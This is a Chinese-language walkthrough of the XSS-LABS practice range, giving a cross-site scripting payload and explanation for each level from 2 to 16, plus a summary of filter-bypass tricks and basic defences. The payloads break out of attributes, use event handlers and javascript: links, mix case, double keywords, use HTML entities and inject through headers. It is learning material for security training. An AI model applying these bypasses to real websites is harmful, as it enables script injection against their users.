XSS-LABS解析
字数 1916 2025-08-10 22:07:53

XSS-LABS 靶场通关详解

前言

XSS-LABS 是一个经典的跨站脚本攻击(XSS)学习靶场,通过16个不同难度的关卡,帮助学习者掌握各种XSS攻击技巧和绕过方法。本文将详细解析每个关卡的通关思路和payload构造方法。

基础概念

XSS (Cross-Site Scripting) 跨站脚本攻击是一种将恶意脚本注入到网页中的攻击方式,主要分为三类:

  1. 反射型XSS:恶意脚本来自当前HTTP请求
  2. 存储型XSS:恶意脚本存储在服务器端
  3. DOM型XSS:通过修改DOM环境而不经过服务器

关卡详解

Level 2

问题分析:输入被双引号包裹在value属性中

<input name=keyword value="用户输入">

解决方案:闭合前后引号和标签

Payload:

"><script>alert(1)</script><"

解析

  1. "> 闭合前面的value属性
  2. <script>alert(1)</script> 插入恶意脚本
  3. <" 闭合后面的引号

Level 3

问题分析:<>被转义过滤

解决方案:使用事件处理器(onclick)触发

Payload:

1' onclick=alert(1)//
或
1' onclick='alert(1)

解析

  • 使用单引号闭合属性
  • 通过onclick事件触发JS代码
  • // 注释掉后面的内容

Level 4

问题分析:<>被完全过滤

解决方案:继续使用事件处理器,调整闭合方式

Payload:

1" onclick="alert(1)
或
1" onmouseover="javascript:alert(1)

解析

  • 使用双引号闭合
  • 可以尝试不同事件(onmouseover等)

Level 5

问题分析:script和on事件被过滤

解决方案:使用a标签的href属性执行javascript伪协议

Payload:

"><a href="javascript:alert(1)">//

解析

  • javascript:伪协议可以直接执行JS代码
  • 需要闭合前面的标签

Level 6

问题分析:script、on事件和href被过滤

解决方案:大小写绕过过滤

Payload:

"><a HrEf="javascript:alert(1)">

解析

  • 使用大小写混合绕过关键字检测
  • 原理是HTML标签和属性不区分大小写

Level 7

问题分析:script被完全过滤(不区分大小写)

解决方案:双写绕过

Payload:

"><scrscriptipt>alert(1)</scscriptript>//

解析

  • 双写后过滤系统删除中间的script,剩下的组合成完整标签
  • 如scrscriptipt → scriptipt → script

Level 8

问题分析:script被转义为scr_ipt,input标签内难以构造

解决方案:在友情链接的href中使用HTML编码

Payload:

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

解析

  • 将javascript:alert(1)转换为HTML实体编码
  • 浏览器会自动解码执行

Level 9

问题分析:javascript:被检测为不合法URL

解决方案:编码后拼接合法URL

Payload:

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://www.baidu.com

解析

  • 编码恶意部分
  • 使用//注释掉后面的合法URL
  • 确保整体通过URL验证

Level 10

问题分析:隐藏表单,只有t_sort参数可赋值

解决方案:修改input类型并添加事件

Payload:

1"&t_sort=1" type="text" onclick="alert(1)

解析

  • 通过参数修改隐藏表单为可见
  • 添加onclick事件处理器

Level 11

问题分析:隐藏表单值来自Referer头

解决方案:修改Referer头注入

Payload:

Referer: 1" type="text" onclick="alert(1)

解析

  • 通过HTTP头注入
  • 原理同Level 10

Level 12

问题分析:隐藏表单值来自User-Agent头

Payload:

User-Agent: ..." type="text" onclick="alert(1)

解析

  • 通过User-Agent头注入
  • 需要保留部分合法UA值

Level 13

问题分析:隐藏表单值来自Cookie

Payload:

cookie: user=..." type="text" onclick="alert(1)

解析

  • 通过Cookie注入
  • 需要修改cookie值

Level 14

问题分析:考察EXIF XSS漏洞

解决方案:上传包含恶意EXIF数据的图片

解析

  • 修改图片元数据包含XSS payload
  • 需要网站存在读取EXIF的功能

Level 15

问题分析:考察angular JS的XSS

解决方案:使用ng-include等指令

解析

  • AngularJS特有的XSS方式
  • 需要了解Angular模板语法

Level 16

问题分析:空格被转义

解决方案:使用%0a(换行符)代替空格

Payload:


解析

  • URL编码绕过空格过滤
  • 浏览器将%0a解析为空格

总结

XSS攻击的关键在于:

  1. 理解输入点的上下文环境
  2. 识别过滤规则和绕过方法
  3. 选择合适的注入方式和事件

常见绕过技巧:

  • 闭合引号和标签
  • 使用事件处理器
  • 大小写变异
  • 双写关键字
  • HTML/URL编码
  • 使用伪协议
  • 特殊字符替代(如%0a代替空格)

防御XSS的基本原则:

  1. 输入验证和过滤
  2. 输出编码
  3. 使用CSP等安全策略
  4. 避免直接将用户输入插入到HTML中
XSS-LABS 靶场通关详解 前言 XSS-LABS 是一个经典的跨站脚本攻击(XSS)学习靶场,通过16个不同难度的关卡,帮助学习者掌握各种XSS攻击技巧和绕过方法。本文将详细解析每个关卡的通关思路和payload构造方法。 基础概念 XSS (Cross-Site Scripting) 跨站脚本攻击是一种将恶意脚本注入到网页中的攻击方式,主要分为三类: 反射型XSS:恶意脚本来自当前HTTP请求 存储型XSS:恶意脚本存储在服务器端 DOM型XSS:通过修改DOM环境而不经过服务器 关卡详解 Level 2 问题分析 :输入被双引号包裹在value属性中 解决方案 :闭合前后引号和标签 Payload : 解析 : "> 闭合前面的value属性 <script>alert(1)</script> 插入恶意脚本 <" 闭合后面的引号 Level 3 问题分析 : <>被转义过滤 解决方案 :使用事件处理器(onclick)触发 Payload : 解析 : 使用单引号闭合属性 通过onclick事件触发JS代码 // 注释掉后面的内容 Level 4 问题分析 : <>被完全过滤 解决方案 :继续使用事件处理器,调整闭合方式 Payload : 解析 : 使用双引号闭合 可以尝试不同事件(onmouseover等) Level 5 问题分析 :script和on事件被过滤 解决方案 :使用a标签的href属性执行javascript伪协议 Payload : 解析 : javascript:伪协议可以直接执行JS代码 需要闭合前面的标签 Level 6 问题分析 :script、on事件和href被过滤 解决方案 :大小写绕过过滤 Payload : 解析 : 使用大小写混合绕过关键字检测 原理是HTML标签和属性不区分大小写 Level 7 问题分析 :script被完全过滤(不区分大小写) 解决方案 :双写绕过 Payload : 解析 : 双写后过滤系统删除中间的script,剩下的组合成完整标签 如scrscriptipt → scriptipt → script Level 8 问题分析 :script被转义为scr_ ipt,input标签内难以构造 解决方案 :在友情链接的href中使用HTML编码 Payload : 解析 : 将javascript:alert(1)转换为HTML实体编码 浏览器会自动解码执行 Level 9 问题分析 :javascript:被检测为不合法URL 解决方案 :编码后拼接合法URL Payload : 解析 : 编码恶意部分 使用//注释掉后面的合法URL 确保整体通过URL验证 Level 10 问题分析 :隐藏表单,只有t_ sort参数可赋值 解决方案 :修改input类型并添加事件 Payload : 解析 : 通过参数修改隐藏表单为可见 添加onclick事件处理器 Level 11 问题分析 :隐藏表单值来自Referer头 解决方案 :修改Referer头注入 Payload : 解析 : 通过HTTP头注入 原理同Level 10 Level 12 问题分析 :隐藏表单值来自User-Agent头 Payload : 解析 : 通过User-Agent头注入 需要保留部分合法UA值 Level 13 问题分析 :隐藏表单值来自Cookie Payload : 解析 : 通过Cookie注入 需要修改cookie值 Level 14 问题分析 :考察EXIF XSS漏洞 解决方案 :上传包含恶意EXIF数据的图片 解析 : 修改图片元数据包含XSS payload 需要网站存在读取EXIF的功能 Level 15 问题分析 :考察angular JS的XSS 解决方案 :使用ng-include等指令 解析 : AngularJS特有的XSS方式 需要了解Angular模板语法 Level 16 问题分析 :空格被转义 解决方案 :使用%0a(换行符)代替空格 Payload : 解析 : URL编码绕过空格过滤 浏览器将%0a解析为空格 总结 XSS攻击的关键在于: 理解输入点的上下文环境 识别过滤规则和绕过方法 选择合适的注入方式和事件 常见绕过技巧: 闭合引号和标签 使用事件处理器 大小写变异 双写关键字 HTML/URL编码 使用伪协议 特殊字符替代(如%0a代替空格) 防御XSS的基本原则: 输入验证和过滤 输出编码 使用CSP等安全策略 避免直接将用户输入插入到HTML中